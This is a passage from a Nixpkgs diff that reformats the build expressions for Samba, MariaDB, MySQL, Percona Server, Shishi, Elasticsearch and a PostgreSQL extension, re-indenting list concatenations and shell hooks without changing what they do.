+    #   https://github.com/NixOS/nixpkgs/issues/287339#issuecomment-1949462057
+    #   https://bugs.gentoo.org/683148
+    # Limit the job count down to the minimal on system with limited address
+    # space.
+    "--jobs 1"
+  ];
 
   # python-config from build Python gives incorrect values when cross-compiling.
   # If python-config is not found, the build falls back to using the sysconfig
@@ -261,40 +258,39 @@ stdenv.mkDerivation (finalAttrs: {
   # Some libraries don't have /lib/samba in RPATH but need it.
   # Use find -type f -executable -exec echo {} \; -exec sh -c 'ldd {} | grep "not found"' \;
   # Looks like a bug in installer scripts.
-  postFixup =
-    ''
-      export SAMBA_LIBS="$(find $out -type f -regex '.*\${stdenv.hostPlatform.extensions.sharedLibrary}\(\..*\)?' -exec dirname {} \; | sort | uniq)"
-      read -r -d "" SCRIPT << EOF || true
-      [ -z "\$SAMBA_LIBS" ] && exit 1;
-      BIN='{}';
-    ''
-    + lib.optionalString stdenv.hostPlatform.isLinux ''
-      OLD_LIBS="\$(patchelf --print-rpath "\$BIN" 2>/dev/null | tr ':' '\n')";
-      ALL_LIBS="\$(echo -e "\$SAMBA_LIBS\n\$OLD_LIBS" | sort | uniq | tr '\n' ':')";
-      patchelf --set-rpath "\$ALL_LIBS" "\$BIN" 2>/dev/null || exit $?;
-      patchelf --shrink-rpath "\$BIN";
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      install_name_tool -id \$BIN \$BIN
-      for old_rpath in \$(otool -L \$BIN | grep /private/tmp/ | awk '{print \$1}'); do
-        new_rpath=\$(find \$SAMBA_LIBS -name \$(basename \$old_rpath) | head -n 1)
-        install_name_tool -change \$old_rpath \$new_rpath \$BIN
-      done
-    ''
-    + ''
-      EOF
-      find $out -type f -regex '.*\${stdenv.hostPlatform.extensions.sharedLibrary}\(\..*\)?' -exec $SHELL -c "$SCRIPT" \;
-      find $out/bin -type f -exec $SHELL -c "$SCRIPT" \;
+  postFixup = ''
+    export SAMBA_LIBS="$(find $out -type f -regex '.*\${stdenv.hostPlatform.extensions.sharedLibrary}\(\..*\)?' -exec dirname {} \; | sort | uniq)"
+    read -r -d "" SCRIPT << EOF || true
+    [ -z "\$SAMBA_LIBS" ] && exit 1;
+    BIN='{}';
+  ''
+  + lib.optionalString stdenv.hostPlatform.isLinux ''
+    OLD_LIBS="\$(patchelf --print-rpath "\$BIN" 2>/dev/null | tr ':' '\n')";
+    ALL_LIBS="\$(echo -e "\$SAMBA_LIBS\n\$OLD_LIBS" | sort | uniq | tr '\n' ':')";
+    patchelf --set-rpath "\$ALL_LIBS" "\$BIN" 2>/dev/null || exit $?;
+    patchelf --shrink-rpath "\$BIN";
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    install_name_tool -id \$BIN \$BIN
+    for old_rpath in \$(otool -L \$BIN | grep /private/tmp/ | awk '{print \$1}'); do
+      new_rpath=\$(find \$SAMBA_LIBS -name \$(basename \$old_rpath) | head -n 1)
+      install_name_tool -change \$old_rpath \$new_rpath \$BIN
+    done
+  ''
+  + ''
+    EOF
+    find $out -type f -regex '.*\${stdenv.hostPlatform.extensions.sharedLibrary}\(\..*\)?' -exec $SHELL -c "$SCRIPT" \;
+    find $out/bin -type f -exec $SHELL -c "$SCRIPT" \;
 
-      # Fix PYTHONPATH for some tools
-      wrapPythonPrograms
+    # Fix PYTHONPATH for some tools
+    wrapPythonPrograms
 
-      # Samba does its own shebang patching, but uses build Python
-      find $out/bin -type f -executable | while read file; do
-        isScript "$file" || continue
-        sed -i 's^${lib.getBin buildPackages.python3Packages.python}^${lib.getBin python}^' "$file"
-      done
-    '';
+    # Samba does its own shebang patching, but uses build Python
+    find $out/bin -type f -executable | while read file; do
+      isScript "$file" || continue
+      sed -i 's^${lib.getBin buildPackages.python3Packages.python}^${lib.getBin python}^' "$file"
+    done
+  '';
 
   disallowedReferences = lib.optionals (
     buildPackages.python3Packages.python != python3Packages.python
diff --git a/pkgs/servers/search/elasticsearch/7.x.nix b/pkgs/servers/search/elasticsearch/7.x.nix
index a06b8e29af45..e95f5292109d 100644
--- a/pkgs/servers/search/elasticsearch/7.x.nix
+++ b/pkgs/servers/search/elasticsearch/7.x.nix
@@ -46,7 +46,8 @@ stdenv.mkDerivation rec {
 
   nativeBuildInputs = [
     makeWrapper
-  ] ++ lib.optional (!stdenv.hostPlatform.isDarwin) autoPatchelfHook;
+  ]
+  ++ lib.optional (!stdenv.hostPlatform.isDarwin) autoPatchelfHook;
 
   buildInputs = [
     jre_headless
diff --git a/pkgs/servers/shishi/default.nix b/pkgs/servers/shishi/default.nix
index 264b225b0c08..e9dfddb839de 100644
--- a/pkgs/servers/shishi/default.nix
+++ b/pkgs/servers/shishi/default.nix
@@ -73,21 +73,20 @@ stdenv.mkDerivation rec {
   installFlags = [ "sysconfdir=\${out}/etc" ];
 
   # Fix *.la files
-  postInstall =
-    ''
-      sed -i $out/lib/libshi{sa,shi}.la \
-    ''
-    + optionalString (optLibidn != null) ''
-      -e 's,\(-lidn\),-L${optLibidn.out}/lib \1,' \
-    ''
-    + optionalString (optGnutls != null) ''
-      -e 's,\(-lgnutls\),-L${optGnutls.out}/lib \1,' \
-    ''
-    + ''
-      -e 's,\(-lgcrypt\),-L${libgcrypt.out}/lib \1,' \
-      -e 's,\(-lgpg-error\),-L${libgpg-error.out}/lib \1,' \
-      -e 's,\(-ltasn1\),-L${libtasn1.out}/lib \1,'
-    '';
+  postInstall = ''
+    sed -i $out/lib/libshi{sa,shi}.la \
+  ''
+  + optionalString (optLibidn != null) ''
+    -e 's,\(-lidn\),-L${optLibidn.out}/lib \1,' \
+  ''
+  + optionalString (optGnutls != null) ''
+    -e 's,\(-lgnutls\),-L${optGnutls.out}/lib \1,' \
+  ''
+  + ''
+    -e 's,\(-lgcrypt\),-L${libgcrypt.out}/lib \1,' \
+    -e 's,\(-lgpg-error\),-L${libgpg-error.out}/lib \1,' \
+    -e 's,\(-ltasn1\),-L${libtasn1.out}/lib \1,'
+  '';
 
   meta = with lib; {
     homepage = "https://www.gnu.org/software/shishi/";
diff --git a/pkgs/servers/sql/mariadb/connector-c/default.nix b/pkgs/servers/sql/mariadb/connector-c/default.nix
index 6b5a5674078f..4d4c9c214778 100644
--- a/pkgs/servers/sql/mariadb/connector-c/default.nix
+++ b/pkgs/servers/sql/mariadb/connector-c/default.nix
@@ -40,23 +40,22 @@ stdenv.mkDerivation {
     "-DWITH_MYSQLCOMPAT=ON"
   ];
 
-  postPatch =
-    ''
-      substituteInPlace mariadb_config/mariadb_config.c.in \
-        --replace '#define INCLUDE "-I%s/@INSTALL_INCLUDEDIR@ -I%s/@INSTALL_INCLUDEDIR@/mysql"' "#define INCLUDE \"-I$dev/include -I$dev/include/mysql\"" \
-        --replace '#define LIBS    "-L%s/@INSTALL_LIBDIR@/ -lmariadb"' "#define LIBS    \"-L$out/lib/mariadb -lmariadb\"" \
-        --replace '#define PKG_LIBDIR "%s/@INSTALL_LIBDIR@"' "#define PKG_LIBDIR \"$out/lib/mariadb\"" \
-        --replace '#define PLUGIN_DIR "%s/@INSTALL_PLUGINDIR@"' "#define PLUGIN_DIR \"$out/lib/mariadb/plugin\"" \
-        --replace '#define PKG_PLUGINDIR "%s/@INSTALL_PLUGINDIR@"' "#define PKG_PLUGINDIR \"$out/lib/mariadb/plugin\""
-    ''
-    + lib.optionalString stdenv.hostPlatform.isStatic ''
-      # Disables all dynamic plugins
-      substituteInPlace cmake/plugins.cmake \
-        --replace 'if(''${CC_PLUGIN_DEFAULT} STREQUAL "DYNAMIC")' 'if(''${CC_PLUGIN_DEFAULT} STREQUAL "INVALID")'
-      # Force building static libraries
-      substituteInPlace libmariadb/CMakeLists.txt \
-        --replace 'libmariadb SHARED' 'libmariadb STATIC'
-    '';
+  postPatch = ''
+    substituteInPlace mariadb_config/mariadb_config.c.in \
+      --replace '#define INCLUDE "-I%s/@INSTALL_INCLUDEDIR@ -I%s/@INSTALL_INCLUDEDIR@/mysql"' "#define INCLUDE \"-I$dev/include -I$dev/include/mysql\"" \
+      --replace '#define LIBS    "-L%s/@INSTALL_LIBDIR@/ -lmariadb"' "#define LIBS    \"-L$out/lib/mariadb -lmariadb\"" \
+      --replace '#define PKG_LIBDIR "%s/@INSTALL_LIBDIR@"' "#define PKG_LIBDIR \"$out/lib/mariadb\"" \
+      --replace '#define PLUGIN_DIR "%s/@INSTALL_PLUGINDIR@"' "#define PLUGIN_DIR \"$out/lib/mariadb/plugin\"" \
+      --replace '#define PKG_PLUGINDIR "%s/@INSTALL_PLUGINDIR@"' "#define PKG_PLUGINDIR \"$out/lib/mariadb/plugin\""
+  ''
+  + lib.optionalString stdenv.hostPlatform.isStatic ''
+    # Disables all dynamic plugins
+    substituteInPlace cmake/plugins.cmake \
+      --replace 'if(''${CC_PLUGIN_DEFAULT} STREQUAL "DYNAMIC")' 'if(''${CC_PLUGIN_DEFAULT} STREQUAL "INVALID")'
+    # Force building static libraries
+    substituteInPlace libmariadb/CMakeLists.txt \
+      --replace 'libmariadb SHARED' 'libmariadb STATIC'
+  '';
 
   # The cmake setup-hook uses $out/lib by default, this is not the case here.
   preConfigure = lib.optionalString stdenv.hostPlatform.isDarwin ''
@@ -68,7 +67,8 @@ stdenv.mkDerivation {
     curl
     openssl
     zlib
-  ] ++ lib.optional isVer33 zstd;
+  ]
+  ++ lib.optional isVer33 zstd;
   buildInputs = [ libiconv ];
 
   postInstall = ''
diff --git a/pkgs/servers/sql/mariadb/default.nix b/pkgs/servers/sql/mariadb/default.nix
index ef9cbc751256..03a78faef636 100644
--- a/pkgs/servers/sql/mariadb/default.nix
+++ b/pkgs/servers/sql/mariadb/default.nix
@@ -84,36 +84,34 @@ let
           "man"
         ];
 
-        nativeBuildInputs =
-          [
-            cmake
-            pkg-config
-          ]
-          ++ lib.optional stdenv.hostPlatform.isDarwin fixDarwinDylibNames
-          ++ lib.optional (!stdenv.hostPlatform.isDarwin) makeWrapper;
+        nativeBuildInputs = [
+          cmake
+          pkg-config
+        ]
+        ++ lib.optional stdenv.hostPlatform.isDarwin fixDarwinDylibNames
+        ++ lib.optional (!stdenv.hostPlatform.isDarwin) makeWrapper;
 
-        buildInputs =
+        buildInputs = [
+          libiconv
+          ncurses
+          zlib
+          pcre2
+          openssl
+          curl
+        ]
+        ++ lib.optionals stdenv.hostPlatform.isLinux (
           [
-            libiconv
-            ncurses
-            zlib
-            pcre2
-            openssl
-            curl
+            libkrb5
+            systemd
           ]
-          ++ lib.optionals stdenv.hostPlatform.isLinux (
-            [
-              libkrb5
-              systemd
-            ]
-            ++ (if (lib.versionOlder version "10.6") then [ libaio ] else [ liburing ])
-          )
-          ++ lib.optionals stdenv.hostPlatform.isDarwin [
-            cctools
-            perl
-            libedit
-          ]
-          ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [ jemalloc ];
+          ++ (if (lib.versionOlder version "10.6") then [ libaio ] else [ liburing ])
+        )
+        ++ lib.optionals stdenv.hostPlatform.isDarwin [
+          cctools
+          perl
+          libedit
+        ]
+        ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [ jemalloc ];
 
         prePatch = ''
           sed -i 's,[^"]*/var/log,/var/log,g' storage/mroonga/vendor/groonga/CMakeLists.txt
@@ -123,66 +121,64 @@ let
           NIX_CFLAGS_COMPILE = "-D_LARGEFILE64_SOURCE";
         };
 
-        patches =
-          [
-            ./patch/cmake-includedir.patch
-            # patch for musl compatibility
-            ./patch/include-cstdint-full.patch
-          ]
-          # Fixes a build issue as documented on
-          # https://jira.mariadb.org/browse/MDEV-26769?focusedCommentId=206073&page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel#comment-206073
-          ++ lib.optional (
-            !stdenv.hostPlatform.isLinux && lib.versionAtLeast version "10.6"
-          ) ./patch/macos-MDEV-26769-regression-fix.patch;
+        patches = [
+          ./patch/cmake-includedir.patch
+          # patch for musl compatibility
+          ./patch/include-cstdint-full.patch
+        ]
+        # Fixes a build issue as documented on
+        # https://jira.mariadb.org/browse/MDEV-26769?focusedCommentId=206073&page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel#comment-206073
+        ++ lib.optional (
+          !stdenv.hostPlatform.isLinux && lib.versionAtLeast version "10.6"
+        ) ./patch/macos-MDEV-26769-regression-fix.patch;
 
-        cmakeFlags =
-          [
-            "-DBUILD_CONFIG=mysql_release"
-            "-DMANUFACTURER=nixos.org"
-            "-DDEFAULT_CHARSET=utf8mb4"
-            "-DDEFAULT_COLLATION=utf8mb4_unicode_ci"
-            "-DSECURITY_HARDENED=ON"
+        cmakeFlags = [
+          "-DBUILD_CONFIG=mysql_release"
+          "-DMANUFACTURER=nixos.org"
+          "-DDEFAULT_CHARSET=utf8mb4"
+          "-DDEFAULT_COLLATION=utf8mb4_unicode_ci"
+          "-DSECURITY_HARDENED=ON"
 
-            "-DINSTALL_UNIX_ADDRDIR=/run/mysqld/mysqld.sock"
-            "-DINSTALL_BINDIR=bin"
-            "-DINSTALL_DOCDIR=share/doc/mysql"
-            "-DINSTALL_DOCREADMEDIR=share/doc/mysql"
-            "-DINSTALL_INCLUDEDIR=include/mysql"
-            "-DINSTALL_LIBDIR=lib"
-            "-DINSTALL_PLUGINDIR=lib/mysql/plugin"
-            "-DINSTALL_INFODIR=share/mysql/docs"
-            "-DINSTALL_MANDIR=share/man"
-            "-DINSTALL_MYSQLSHAREDIR=share/mysql"
-            "-DINSTALL_SCRIPTDIR=bin"
-            "-DINSTALL_SUPPORTFILESDIR=share/doc/mysql"
-            "-DINSTALL_MYSQLTESTDIR=OFF"
-            "-DINSTALL_SQLBENCHDIR=OFF"
-            "-DINSTALL_PAMDIR=share/pam/lib/security"
-            "-DINSTALL_PAMDATADIR=share/pam/etc/security"
+          "-DINSTALL_UNIX_ADDRDIR=/run/mysqld/mysqld.sock"
+          "-DINSTALL_BINDIR=bin"
+          "-DINSTALL_DOCDIR=share/doc/mysql"
+          "-DINSTALL_DOCREADMEDIR=share/doc/mysql"
+          "-DINSTALL_INCLUDEDIR=include/mysql"
+          "-DINSTALL_LIBDIR=lib"
+          "-DINSTALL_PLUGINDIR=lib/mysql/plugin"
+          "-DINSTALL_INFODIR=share/mysql/docs"
+          "-DINSTALL_MANDIR=share/man"
+          "-DINSTALL_MYSQLSHAREDIR=share/mysql"
+          "-DINSTALL_SCRIPTDIR=bin"
+          "-DINSTALL_SUPPORTFILESDIR=share/doc/mysql"
+          "-DINSTALL_MYSQLTESTDIR=OFF"
+          "-DINSTALL_SQLBENCHDIR=OFF"
+          "-DINSTALL_PAMDIR=share/pam/lib/security"
+          "-DINSTALL_PAMDATADIR=share/pam/etc/security"
 
-            "-DWITH_ZLIB=system"
-            "-DWITH_SSL=system"
-            "-DWITH_PCRE=system"
-            "-DWITH_SAFEMALLOC=OFF"
-            "-DWITH_UNIT_TESTS=OFF"
-            "-DEMBEDDED_LIBRARY=OFF"
-          ]
-          ++ lib.optionals stdenv.hostPlatform.isDarwin [
-            # On Darwin without sandbox, CMake will find the system java and attempt to build with java support, but
-            # then it will fail during the actual build. Let's just disable the flag explicitly until someone decides
-            # to pass in java explicitly.
-            "-DCONNECT_WITH_JDBC=OFF"
-            "-DCURSES_LIBRARY=${ncurses.out}/lib/libncurses.dylib"
-          ]
-          ++ lib.optionals (stdenv.hostPlatform.isDarwin && lib.versionAtLeast version "10.6") [
-            # workaround for https://jira.mariadb.org/browse/MDEV-29925
-            "-Dhave_C__Wl___as_needed="
-          ]
-          ++ lib.optionals isCross [
-            # revisit this if nixpkgs supports any architecture whose stack grows upwards
-            "-DSTACK_DIRECTION=-1"
-            "-DCMAKE_CROSSCOMPILING_EMULATOR=${stdenv.hostPlatform.emulator buildPackages}"
-          ];
+          "-DWITH_ZLIB=system"
+          "-DWITH_SSL=system"
+          "-DWITH_PCRE=system"
+          "-DWITH_SAFEMALLOC=OFF"
+          "-DWITH_UNIT_TESTS=OFF"
+          "-DEMBEDDED_LIBRARY=OFF"
+        ]
+        ++ lib.optionals stdenv.hostPlatform.isDarwin [
+          # On Darwin without sandbox, CMake will find the system java and attempt to build with java support, but
+          # then it will fail during the actual build. Let's just disable the flag explicitly until someone decides
+          # to pass in java explicitly.
+          "-DCONNECT_WITH_JDBC=OFF"
+          "-DCURSES_LIBRARY=${ncurses.out}/lib/libncurses.dylib"
+        ]
+        ++ lib.optionals (stdenv.hostPlatform.isDarwin && lib.versionAtLeast version "10.6") [
+          # workaround for https://jira.mariadb.org/browse/MDEV-29925
+          "-Dhave_C__Wl___as_needed="
+        ]
+        ++ lib.optionals isCross [
+          # revisit this if nixpkgs supports any architecture whose stack grows upwards
+          "-DSTACK_DIRECTION=-1"
+          "-DCMAKE_CROSSCOMPILING_EMULATOR=${stdenv.hostPlatform.emulator buildPackages}"
+        ];
 
         postInstall = lib.optionalString (!withEmbedded) ''
           # Remove Development components. Need to use libmysqlclient.
@@ -235,8 +231,7 @@ let
           ];
 
           buildInputs =
-            common.buildInputs
-            ++ lib.optionals (lib.versionAtLeast common.version "10.11") [ fmt_11 ];
+            common.buildInputs ++ lib.optionals (lib.versionAtLeast common.version "10.11") [ fmt_11 ];
 
           cmakeFlags = common.cmakeFlags ++ [
             "-DPLUGIN_AUTH_PAM=NO"
@@ -245,15 +240,13 @@ let
             "-DINSTALL_MYSQLSHAREDIR=share/mysql-client"
           ];
 
-          postInstall =
-            common.postInstall
-            + ''
-              rm "$out"/bin/{mariadb-test,mysqltest}
-              libmysqlclient_path=$(readlink -f $out/lib/libmysqlclient${libExt})
-              rm "$out"/lib/{libmariadb${libExt},libmysqlclient${libExt},libmysqlclient_r${libExt}}
-              mv "$libmysqlclient_path" "$out"/lib/libmysqlclient${libExt}
-              ln -sv libmysqlclient${libExt} "$out"/lib/libmysqlclient_r${libExt}
-            '';
+          postInstall = common.postInstall + ''
+            rm "$out"/bin/{mariadb-test,mysqltest}
+            libmysqlclient_path=$(readlink -f $out/lib/libmysqlclient${libExt})
+            rm "$out"/lib/{libmariadb${libExt},libmysqlclient${libExt},libmysqlclient_r${libExt}}
+            mv "$libmysqlclient_path" "$out"/lib/libmysqlclient${libExt}
+            ln -sv libmysqlclient${libExt} "$out"/lib/libmysqlclient_r${libExt}
+          '';
         }
       );
 
diff --git a/pkgs/servers/sql/mysql/8.0.x.nix b/pkgs/servers/sql/mysql/8.0.x.nix
index fe1a1488ac0a..5bf46145cb65 100644
--- a/pkgs/servers/sql/mysql/8.0.x.nix
+++ b/pkgs/servers/sql/mysql/8.0.x.nix
@@ -43,7 +43,8 @@ stdenv.mkDerivation (finalAttrs: {
     cmake
     pkg-config
     protobuf
-  ] ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [ rpcsvc-proto ];
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [ rpcsvc-proto ];
 
   patches = [
     ./no-force-outline-atomics.patch # Do not force compilers to turn on -moutline-atomics switch
@@ -63,30 +64,29 @@ stdenv.mkDerivation (finalAttrs: {
     substituteInPlace cmake/package_name.cmake --replace-fail "COMMAND sw_vers" "COMMAND ${DarwinTools}/bin/sw_vers"
   '';
 
-  buildInputs =
-    [
-      boost
-      (curl.override { inherit openssl; })
-      icu
-      libedit
-      libevent
-      lz4
-      ncurses
-      openssl
-      protobuf
-      re2
-      readline
-      zlib
-      zstd
-      libfido2
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      numactl
-      libtirpc
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      developer_cmds
-    ];
+  buildInputs = [
+    boost
+    (curl.override { inherit openssl; })
+    icu
+    libedit
+    libevent
+    lz4
+    ncurses
+    openssl
+    protobuf
+    re2
+    readline
+    zlib
+    zstd
+    libfido2
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    numactl
+    libtirpc
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    developer_cmds
+  ];
 
   strictDeps = true;
 
diff --git a/pkgs/servers/sql/percona-server/8_0.nix b/pkgs/servers/sql/percona-server/8_0.nix
index 7a7efd9dbb31..8cdca01efb1e 100644
--- a/pkgs/servers/sql/percona-server/8_0.nix
+++ b/pkgs/servers/sql/percona-server/8_0.nix
@@ -59,7 +59,8 @@ stdenv.mkDerivation (finalAttrs: {
     coreutils
     gnugrep
     procps
-  ] ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [ rpcsvc-proto ];
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [ rpcsvc-proto ];
 
   patches = [
     # adapted from mysql80's llvm 19 fixes
@@ -86,35 +87,34 @@ stdenv.mkDerivation (finalAttrs: {
     substituteInPlace storage/rocksdb/get_rocksdb_files.sh --replace "make --" "${gnumake}/bin/make --"
   '';
 
-  buildInputs =
-    [
-      boost
-      (curl.override { inherit openssl; })
-      icu
-      libedit
-      libevent
-      lz4
-      ncurses
-      openssl
-      protobuf
-      re2
-      readline
-      zlib
-      zstd
-      libfido2
-      openldap
-      perl
-      cyrus_sasl
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      numactl
-      libtirpc
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      cctools
-      developer_cmds
-      DarwinTools
-    ];
+  buildInputs = [
+    boost
+    (curl.override { inherit openssl; })
+    icu
+    libedit
+    libevent
+    lz4
+    ncurses
+    openssl
+    protobuf
+    re2
+    readline
+    zlib
+    zstd
+    libfido2
+    openldap
+    perl
+    cyrus_sasl
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    numactl
+    libtirpc
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    cctools
+    developer_cmds
+    DarwinTools
+  ];
 
   outputs = [
     "out"
diff --git a/pkgs/servers/sql/percona-server/8_4.nix b/pkgs/servers/sql/percona-server/8_4.nix
index 5803fd2a6872..9635493e2003 100644
--- a/pkgs/servers/sql/percona-server/8_4.nix
+++ b/pkgs/servers/sql/percona-server/8_4.nix
@@ -66,7 +66,8 @@ stdenv.mkDerivation (finalAttrs: {
     coreutils
     gnugrep
     procps
-  ] ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [ rpcsvc-proto ];
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [ rpcsvc-proto ];
 
   patches = [
     ./no-force-outline-atomics.patch # Do not force compilers to turn on -moutline-atomics switch
@@ -84,120 +85,117 @@ stdenv.mkDerivation (finalAttrs: {
     substituteInPlace storage/rocksdb/get_rocksdb_files.sh --replace "make --" "${gnumake}/bin/make --"
   '';
 
-  buildInputs =
-    [
-      boost
-      (curl.override { inherit openssl; })
-      icu
-      libedit
-      libevent
-      lz4
-      ncurses
-      openssl
-      protobuf
-      re2
-      readline
-      zlib
-      zstd
-      libfido2
-      openldap
-      perl
-      cyrus_sasl
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      numactl
-      libtirpc
-      systemd
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      cctools
-      developer_cmds
-      DarwinTools
-    ]
-    ++ lib.optional (stdenv.hostPlatform.isLinux && withJemalloc) jemalloc
-    ++ lib.optional (stdenv.hostPlatform.isLinux && withTcmalloc) gperftools;
+  buildInputs = [
+    boost
+    (curl.override { inherit openssl; })
+    icu
+    libedit
+    libevent
+    lz4
+    ncurses
+    openssl
+    protobuf
+    re2
+    readline
+    zlib
+    zstd
+    libfido2
+    openldap
+    perl
+    cyrus_sasl
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    numactl
+    libtirpc
+    systemd
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    cctools
+    developer_cmds
+    DarwinTools
+  ]
+  ++ lib.optional (stdenv.hostPlatform.isLinux && withJemalloc) jemalloc
+  ++ lib.optional (stdenv.hostPlatform.isLinux && withTcmalloc) gperftools;
 
   outputs = [
     "out"
     "static"
   ];
 
-  cmakeFlags =
-    [
-      # Percona-specific flags.
-      "-DPORTABLE=1"
-      "-DWITH_LDAP=system"
-      "-DROCKSDB_DISABLE_AVX2=1"
-      "-DROCKSDB_DISABLE_MARCH_NATIVE=1"
+  cmakeFlags = [
+    # Percona-specific flags.
+    "-DPORTABLE=1"
+    "-DWITH_LDAP=system"
+    "-DROCKSDB_DISABLE_AVX2=1"
+    "-DROCKSDB_DISABLE_MARCH_NATIVE=1"
 
-      # Flags taken from mysql package.
-      "-DFORCE_UNSUPPORTED_COMPILER=1" # To configure on Darwin.
-      "-DWITH_ROUTER=OFF" # It may be packaged separately.
-      "-DWITH_SYSTEM_LIBS=ON"
-      "-DWITH_UNIT_TESTS=OFF"
-      "-DMYSQL_UNIX_ADDR=/run/mysqld/mysqld.sock"
-      "-DMYSQL_DATADIR=/var/lib/mysql"
-      "-DINSTALL_INFODIR=share/mysql/docs"
-      "-DINSTALL_MANDIR=share/man"
-      "-DINSTALL_PLUGINDIR=lib/mysql/plugin"
-      "-DINSTALL_INCLUDEDIR=include/mysql"
-      "-DINSTALL_DOCREADMEDIR=share/mysql"
-      "-DINSTALL_SUPPORTFILESDIR=share/mysql"
-      "-DINSTALL_MYSQLSHAREDIR=share/mysql"
-      "-DINSTALL_MYSQLTESTDIR="
-      "-DINSTALL_DOCDIR=share/mysql/docs"
-      "-DINSTALL_SHAREDIR=share/mysql"
+    # Flags taken from mysql package.
+    "-DFORCE_UNSUPPORTED_COMPILER=1" # To configure on Darwin.
+    "-DWITH_ROUTER=OFF" # It may be packaged separately.
+    "-DWITH_SYSTEM_LIBS=ON"
+    "-DWITH_UNIT_TESTS=OFF"
+    "-DMYSQL_UNIX_ADDR=/run/mysqld/mysqld.sock"
+    "-DMYSQL_DATADIR=/var/lib/mysql"
+    "-DINSTALL_INFODIR=share/mysql/docs"
+    "-DINSTALL_MANDIR=share/man"
+    "-DINSTALL_PLUGINDIR=lib/mysql/plugin"
+    "-DINSTALL_INCLUDEDIR=include/mysql"
+    "-DINSTALL_DOCREADMEDIR=share/mysql"
+    "-DINSTALL_SUPPORTFILESDIR=share/mysql"
+    "-DINSTALL_MYSQLSHAREDIR=share/mysql"
+    "-DINSTALL_MYSQLTESTDIR="
+    "-DINSTALL_DOCDIR=share/mysql/docs"
+    "-DINSTALL_SHAREDIR=share/mysql"
 
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      "-DWITH_SYSTEMD=1"
-      "-DWITH_SYSTEMD_DEBUG=1"
-    ]
-    ++ lib.optional (stdenv.hostPlatform.isLinux && withJemalloc) "-DWITH_JEMALLOC=1"
-    ++ lib.optional (stdenv.hostPlatform.isLinux && withTcmalloc) "-DWITH_TCMALLOC=1";
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    "-DWITH_SYSTEMD=1"
+    "-DWITH_SYSTEMD_DEBUG=1"
+  ]
+  ++ lib.optional (stdenv.hostPlatform.isLinux && withJemalloc) "-DWITH_JEMALLOC=1"
+  ++ lib.optional (stdenv.hostPlatform.isLinux && withTcmalloc) "-DWITH_TCMALLOC=1";
 
-  postInstall =
-    ''
-      moveToOutput "lib/*.a" $static
-      so=${stdenv.hostPlatform.extensions.sharedLibrary}
-      ln -s libperconaserverclient$so $out/lib/libmysqlclient_r$so
+  postInstall = ''
+    moveToOutput "lib/*.a" $static
+    so=${stdenv.hostPlatform.extensions.sharedLibrary}
+    ln -s libperconaserverclient$so $out/lib/libmysqlclient_r$so
 
-      wrapProgram $out/bin/mysqld_safe --prefix PATH : ${
-        lib.makeBinPath [
-          coreutils
-          procps
-          gnugrep
-          gnused
-          hostname
-        ]
-      }
-      wrapProgram $out/bin/mysql_config --prefix PATH : ${
-        lib.makeBinPath [
-          coreutils
-          gnused
-        ]
-      }
-      wrapProgram $out/bin/ps_mysqld_helper --prefix PATH : ${
-        lib.makeBinPath [
-          coreutils
-          gnugrep
-        ]
-      }
-      wrapProgram $out/bin/ps-admin --prefix PATH : ${
-        lib.makeBinPath [
-          coreutils
-          gnugrep
-        ]
-      }
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      wrapProgram $out/bin/mysqld_multi --prefix PATH : ${
-        lib.makeBinPath [
-          coreutils
-          gnugrep
-        ]
-      }
-    '';
+    wrapProgram $out/bin/mysqld_safe --prefix PATH : ${
+      lib.makeBinPath [
+        coreutils
+        procps
+        gnugrep
+        gnused
+        hostname
+      ]
+    }
+    wrapProgram $out/bin/mysql_config --prefix PATH : ${
+      lib.makeBinPath [
+        coreutils
+        gnused
+      ]
+    }
+    wrapProgram $out/bin/ps_mysqld_helper --prefix PATH : ${
+      lib.makeBinPath [
+        coreutils
+        gnugrep
+      ]
+    }
+    wrapProgram $out/bin/ps-admin --prefix PATH : ${
+      lib.makeBinPath [
+        coreutils
+        gnugrep
+      ]
+    }
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    wrapProgram $out/bin/mysqld_multi --prefix PATH : ${
+      lib.makeBinPath [
+        coreutils
+        gnugrep
+      ]
+    }
+  '';
 
   passthru = {
     client = finalAttrs.finalPackage;
diff --git a/pkgs/servers/sql/postgresql/ext/h3-pg.nix b/pkgs/servers/sql/postgresql/ext/h3-pg.nix
index 69e67b2e339e..47ab4f11411b 100644
--- a/pkgs/servers/sql/postgresql/ext/h3-pg.nix
+++ b/pkgs/servers/sql/postgresql/ext/h3-pg.nix
@@ -20,15 +20,14 @@ postgresqlBuildExtension (finalAttrs: {
     hash = "sha256-kTh0Y0C2pNB5Ul1rp77ets/5VeU1zw1WasGHkOaDMh8=";
   };
 
-  postPatch =
-    ''
-      substituteInPlace CMakeLists.txt \
-        --replace-fail "add_subdirectory(cmake/h3)" "include_directories(${lib.getDev h3_4}/include/h3)"
-    ''
